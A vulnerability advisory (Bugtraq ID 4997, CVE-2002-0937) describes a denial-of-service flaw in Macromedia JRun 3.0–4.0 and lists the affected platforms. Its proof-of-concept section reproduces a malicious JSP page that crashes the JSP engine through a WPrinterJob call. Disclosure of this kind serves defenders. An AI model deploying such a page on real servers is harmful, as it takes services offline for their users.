Macromedia JRun JSP Engine Denial Of Service Vulnerability

BID:4997

Info

Macromedia JRun JSP Engine Denial Of Service Vulnerability

Bugtraq ID: 4997
Class: Failure to Handle Exceptional Conditions
CVE: CVE-2002-0937
Remote: Yes
Local: No
Published: Jun 12 2002 12:00AM
Updated: Jul 11 2009 01:56PM
Credit: Discovery credited to Marc Schoenefeld <[email protected]>.
Vulnerable: Macromedia JRun 4.0
- Microsoft IIS 5.1
- Microsoft IIS 5.0
- Microsoft IIS 4.0
Macromedia JRun 3.1
- IBM AIX 4.3
- IBM AIX 4.2
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP5
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Redhat Linux 6.1 sparc
- Redhat Linux 6.1 i386
- Redhat Linux 6.1 alpha
- Redhat Linux 6.0 sparc
- Redhat Linux 6.0 alpha
- Redhat Linux 6.0
- SGI IRIX 6.5
- Sun Solaris 8_sparc
- Sun Solaris 7.0
Macromedia JRun 3.0
- IBM AIX 4.3
- IBM AIX 4.2
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows NT 4.0 SP6a
- Microsoft Windows NT 4.0 SP6
- Microsoft Windows NT 4.0 SP4
- Microsoft Windows NT 4.0 SP3
- Microsoft Windows NT 4.0 SP2
- Microsoft Windows NT 4.0 SP1
- Microsoft Windows NT 4.0
- Redhat Linux 6.1 sparc
- Redhat Linux 6.1 i386
- Redhat Linux 6.1 alpha
- Redhat Linux 6.0 sparc
- Redhat Linux 6.0
- SGI IRIX 6.5
- Sun Solaris 7.0
- Sun Solaris 2.6
Not Vulnerable:

Discussion

Macromedia JRun JSP Engine Denial Of Service Vulnerability

A vulnerability has been reported in Macromedia JRun for Windows that results in a denial of service condition. The vulnerability occurs when JRun encounters a malicious JSP page.

The following snippet of code is reported to crash the JRun JSP engine:
new WPrinterJob().pageSetup(null,null);

Exploit / POC

Macromedia JRun JSP Engine Denial Of Service Vulnerability

The following proof of concept was provided by Marc Schoenefeld &lt;[email protected]&gt;:

&lt;%@ page contentType="text/html;charset=UTF-8" pageEncoding="iso-8859-1"
%&gt;
&lt;%@ page import="sun.awt.windows.*" %&gt;
&lt;%! %&gt;
&lt;%
//
%&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;aa&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;p&gt;
&lt;FONT SIZE="+2"&gt;dON/T TR1 thiz @ home&lt;/font&gt;
&lt;/p&gt;
&lt;%
new WPrinterJob().pageSetup(null,null);
%&gt;

&lt;/body&gt;
&lt;/html&gt;

Solution / Fix

Macromedia JRun JSP Engine Denial Of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

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Macromedia JRun JSP Engine Denial Of Service Vulnerability

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